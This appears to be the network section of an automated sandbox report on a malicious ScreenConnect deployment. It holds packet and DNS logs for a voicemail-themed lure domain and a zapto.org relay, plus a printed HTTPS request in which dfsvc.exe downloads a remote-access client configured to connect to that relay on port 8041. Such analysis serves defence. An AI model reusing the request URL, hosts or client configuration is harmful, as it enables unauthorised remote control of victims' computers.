Nov 8, 2024 11:01:36.311903954 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:36.311916113 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.676753044 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.676774979 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.676789999 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.676896095 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:36.676913023 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.676949978 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:36.676981926 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:36.795351982 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.795372963 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.795444965 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:36.795456886 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.795500040 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:36.914027929 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.914048910 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.914139986 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:36.914149046 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:36.914197922 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.036501884 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.036526918 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.036669970 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.036679983 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.036729097 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.157210112 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.157238007 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.157320976 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.157332897 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.157375097 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.276813984 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.276835918 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.276916981 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.276926994 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.276967049 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.391655922 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.391680956 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.391750097 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.391762018 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.391812086 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.435153008 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.435172081 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.435302019 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.435327053 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.435376883 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.554003000 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.554020882 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.554145098 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.554156065 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.554198980 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.629782915 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.629801035 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.629934072 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.629947901 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.629997015 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.748153925 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.748176098 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.748239994 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.748250961 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.748287916 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.748311996 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.832947016 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.832966089 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.833015919 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.833024025 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.833062887 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.913341999 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.913358927 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.913428068 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.913438082 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.913471937 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.913491011 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.986304998 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.986325979 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.986442089 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:37.986449957 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:37.986514091 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.104049921 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.104070902 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.104124069 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.104134083 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.104161024 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.104182005 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.190105915 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.190125942 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.190196991 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.190213919 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.190264940 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.223151922 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.223169088 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.223352909 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.223361969 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.223408937 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.309964895 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.309989929 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.310085058 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.310096025 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.310134888 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.388328075 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.388351917 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.388519049 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.388528109 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.388593912 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.460558891 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.460577011 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.460690975 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.460707903 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.460756063 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.507437944 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.507457018 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.507545948 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.507555008 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.507605076 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.579447985 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.579466105 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.579569101 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.579576969 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.579623938 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.669301033 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.669320107 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.669384956 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.669394970 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.669435978 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.698179960 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.698198080 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.698252916 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.698261023 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.698287010 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.698307991 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.787604094 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.787621975 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.787733078 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.787744999 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.787790060 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.817171097 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.817188025 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.817286968 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.817296028 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.817339897 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.906331062 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.906349897 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.906419039 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.906440020 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.906482935 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.935702085 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.935725927 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.935774088 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.935782909 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.935826063 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.935844898 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.982815981 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.982837915 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.982897043 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:38.982906103 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:38.982955933 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.054476976 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.054497004 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.054580927 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.054596901 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.054646015 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.101320982 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.101341009 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.101423025 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.101433039 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.101475954 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.173175097 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.173192978 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.173261881 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.173269987 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.173305988 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.213738918 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.213758945 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.213841915 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.213850021 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.213895082 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.220246077 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.220319986 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.220326900 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.220484018 CET	443	49818	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:39.220531940 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:39.220741034 CET	49818	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:42.554683924 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:42.559423923 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:42.561857939 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:43.683147907 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:43.688240051 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:43.926239967 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:43.967437983 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:43.972429037 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:44.207726002 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:44.326678038 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:02:14.232996941 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:02:14.237879992 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:02:14.473512888 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:02:14.529745102 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:02:44.498595953 CET	49860	8041	192.168.2.5	194.59.30.201
Nov 8, 2024 11:02:44.503370047 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:02:44.738926888 CET	8041	49860	194.59.30.201	192.168.2.5
Nov 8, 2024 11:02:44.795406103 CET	49860	8041	192.168.2.5	194.59.30.201

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 8, 2024 11:01:03.913659096 CET	50622	53	192.168.2.5	1.1.1.1
Nov 8, 2024 11:01:03.926193953 CET	53	50622	1.1.1.1	192.168.2.5
Nov 8, 2024 11:01:42.508133888 CET	55456	53	192.168.2.5	1.1.1.1
Nov 8, 2024 11:01:42.516788960 CET	53	55456	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 8, 2024 11:01:03.913659096 CET	192.168.2.5	1.1.1.1	0x3f43	Standard query (0)	voicemail-lakeleft.top	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:01:42.508133888 CET	192.168.2.5	1.1.1.1	0x83d6	Standard query (0)	popwee2.zapto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 8, 2024 11:01:03.926193953 CET	1.1.1.1	192.168.2.5	0x3f43	No error (0)	voicemail-lakeleft.top		194.59.30.201	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:01:05.994802952 CET	1.1.1.1	192.168.2.5	0x36d7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:01:05.994802952 CET	1.1.1.1	192.168.2.5	0x36d7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:01:06.657273054 CET	1.1.1.1	192.168.2.5	0x83d9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 11:01:06.657273054 CET	1.1.1.1	192.168.2.5	0x83d9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:01:08.360728979 CET	1.1.1.1	192.168.2.5	0xaaa9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 11:01:08.360728979 CET	1.1.1.1	192.168.2.5	0xaaa9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:01:42.516788960 CET	1.1.1.1	192.168.2.5	0x83d6	No error (0)	popwee2.zapto.org		194.59.30.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

voicemail-lakeleft.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:05 UTC	635	OUT	GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:05 UTC	251	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 117980 Content-Type: application/x-ms-application; charset=utf-8 Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:05 GMT Connection: close
2024-11-08 10:01:05 UTC	16133	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 61 73 6d 76 31 3a 61 73 73 65 6d 62 6c 79 20 78 73 69 3a 73 63 68 65 6d 61 4c 6f 63 61 74 69 6f 6e 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 20 61 73 73 65 6d 62 6c 79 2e 61 64 61 70 74 69 76 65 2e 78 73 64 22 20 6d 61 6e 69 66 65 73 74 56 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 31 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 22 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 32 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2=
2024-11-08 10:01:05 UTC	16384	IN	Data Raw: 47 6c 69 52 47 38 79 66 59 52 6f 64 77 71 45 6c 46 44 4c 68 4b 54 47 45 6b 53 6b 48 75 45 45 6c 4f 31 6d 42 49 59 67 77 51 54 4d 39 72 37 45 35 69 6e 4a 52 53 58 55 49 59 55 79 31 33 46 46 43 58 6b 4e 52 56 67 42 49 49 56 64 59 61 51 46 57 34 36 48 68 59 43 77 4a 63 57 48 61 72 43 46 67 30 41 33 42 5a 69 6a 54 45 5a 37 35 39 53 47 39 4a 2f 42 78 37 6a 76 49 67 65 76 55 2b 52 48 6d 39 47 32 52 37 6f 79 66 6f 65 77 58 79 75 48 77 39 4f 45 53 42 36 7a 43 6f 67 4a 72 39 62 49 45 39 4b 4f 79 46 4a 6c 31 59 68 45 58 59 63 49 74 50 52 58 43 4c 58 66 4a 4d 69 37 52 32 79 49 75 4c 43 75 53 4b 59 33 42 51 6a 4e 43 7a 2b 49 2f 2b 4a 57 79 52 67 6f 57 67 6b 77 6a 5a 75 4a 47 48 4c 62 69 51 6a 30 32 38 6b 68 48 35 7a 4a 4c 4a 32 74 43 54 42 31 6d 59 6c 66 59 4e 57 4a Data Ascii: GliRG8yfYRodwqElFDLhKTGEkSkHuEElO1mBIYgwQTM9r7E5inJRSXUIYUy13FFCXkNRVgBIIVdYaQFW46HhYCwJcWHarCFg0A3BZijTEZ759SG9J/Bx7jvIgevU+RHm9G2R7oyfoewXyuHw9OESB6zCogJr9bIE9KOyFJl1YhEXYcItPRXCLXfJMi7R2yIuLCuSKY3BQjNCz+I/+JWyRgoWgkwjZuJGHLbiQj028khH5zJLJ2tCTB1mYlfYNWJ
2024-11-08 10:01:05 UTC	16384	IN	Data Raw: 55 41 62 41 42 4e 41 47 45 41 62 67 42 68 41 47 63 41 5a 51 42 44 41 48 49 41 5a 51 42 6b 41 47 55 41 62 67 42 30 41 47 6b 41 59 51 42 73 41 48 4d 41 52 41 42 6c 41 48 4d 41 59 77 42 79 41 47 6b 41 63 41 42 30 41 47 6b 41 62 77 42 75 41 43 49 4e 41 41 42 45 51 77 42 76 41 47 34 41 64 41 42 79 41 47 38 41 62 41 42 51 41 47 45 41 62 67 42 6c 41 47 77 41 54 51 42 68 41 47 34 41 59 51 42 6e 41 47 55 41 51 77 42 79 41 47 55 41 5a 41 42 6c 41 47 34 41 64 41 42 70 41 47 45 41 62 41 42 7a 41 46 51 41 61 51 42 30 41 47 77 41 5a 51 42 5a 44 51 41 41 54 45 4d 41 62 77 42 75 41 48 51 41 63 67 42 76 41 47 77 41 55 41 42 68 41 47 34 41 5a 51 42 73 41 45 30 41 59 51 42 75 41 47 45 41 5a 77 42 6c 41 46 41 41 5a 51 42 79 41 48 4d 41 62 77 42 75 41 47 45 41 62 41 42 55 41 Data Ascii: UAbABNAGEAbgBhAGcAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMARABlAHMAYwByAGkAcAB0AGkAbwBuACINAABEQwBvAG4AdAByAG8AbABQAGEAbgBlAGwATQBhAG4AYQBnAGUAQwByAGUAZABlAG4AdABpAGEAbABzAFQAaQB0AGwAZQBZDQAATEMAbwBuAHQAcgBvAGwAUABhAG4AZQBsAE0AYQBuAGEAZwBlAFAAZQByAHMAbwBuAGEAbABUA
2024-11-08 10:01:05 UTC	16384	IN	Data Raw: 41 41 5a 51 42 79 41 47 30 41 61 51 42 7a 41 48 4d 41 61 51 42 76 41 47 34 41 63 77 42 45 41 47 6b 41 59 51 42 73 41 47 38 41 5a 77 42 55 41 47 55 41 65 41 42 30 41 45 4d 41 62 77 42 75 41 48 51 41 5a 51 42 75 41 48 51 41 52 67 42 76 41 48 49 41 62 51 42 68 41 48 51 41 65 79 30 41 41 45 35 4e 41 47 45 41 59 77 42 4a 41 47 34 41 63 77 42 30 41 48 49 41 64 51 42 6a 41 48 51 41 61 51 42 76 41 47 34 41 59 51 42 73 41 45 51 41 61 51 42 68 41 47 77 41 62 77 42 6e 41 45 51 41 61 51 42 7a 41 47 30 41 61 51 42 7a 41 48 4d 41 51 67 42 31 41 48 51 41 64 41 42 76 41 47 34 41 56 41 42 6c 41 48 67 41 64 41 43 4b 4d 51 41 41 51 6b 30 41 59 51 42 6a 41 46 49 41 5a 51 42 70 41 47 34 41 63 77 42 30 41 47 45 41 62 41 42 73 41 46 55 41 62 67 42 70 41 47 34 41 63 77 42 30 41 Data Ascii: AAZQByAG0AaQBzAHMAaQBvAG4AcwBEAGkAYQBsAG8AZwBUAGUAeAB0AEMAbwBuAHQAZQBuAHQARgBvAHIAbQBhAHQAey0AAE5NAGEAYwBJAG4AcwB0AHIAdQBjAHQAaQBvAG4AYQBsAEQAaQBhAGwAbwBnAEQAaQBzAG0AaQBzAHMAQgB1AHQAdABvAG4AVABlAHgAdACKMQAAQk0AYQBjAFIAZQBpAG4AcwB0AGEAbABsAFUAbgBpAG4AcwB0A
2024-11-08 10:01:05 UTC	16384	IN	Data Raw: 4e 6f 62 32 39 7a 5a 53 42 33 61 47 6c 6a 61 43 42 73 62 32 64 76 62 69 42 7a 5a 58 4e 7a 61 57 39 75 49 48 52 76 49 47 4e 76 62 6e 52 79 62 32 77 67 62 32 34 67 64 47 68 6c 49 48 4a 6c 62 57 39 30 5a 53 42 74 59 57 4e 6f 61 57 35 6c 4c 67 45 55 55 32 56 73 5a 57 4e 30 49 45 78 76 5a 32 39 75 49 46 4e 6c 63 33 4e 70 62 32 34 42 45 56 4e 6c 62 47 56 6a 64 43 42 4e 61 57 4e 79 62 33 42 6f 62 32 35 6c 41 53 74 44 61 47 39 76 63 32 55 67 62 32 35 6c 49 47 39 79 49 47 31 76 63 6d 55 67 63 6d 56 74 62 33 52 6c 49 47 31 76 62 6d 6c 30 62 33 4a 7a 49 48 52 76 49 48 5a 70 5a 58 63 75 41 51 39 54 5a 57 78 6c 59 33 51 67 54 57 39 75 61 58 52 76 63 6e 4d 42 52 6b 4e 6f 62 32 39 7a 5a 53 42 68 49 47 78 76 64 32 56 79 49 48 46 31 59 57 78 70 64 48 6b 67 61 57 59 67 62 Data Ascii: Nob29zZSB3aGljaCBsb2dvbiBzZXNzaW9uIHRvIGNvbnRyb2wgb24gdGhlIHJlbW90ZSBtYWNoaW5lLgEUU2VsZWN0IExvZ29uIFNlc3Npb24BEVNlbGVjdCBNaWNyb3Bob25lAStDaG9vc2Ugb25lIG9yIG1vcmUgcmVtb3RlIG1vbml0b3JzIHRvIHZpZXcuAQ9TZWxlY3QgTW9uaXRvcnMBRkNob29zZSBhIGxvd2VyIHF1YWxpdHkgaWYgb
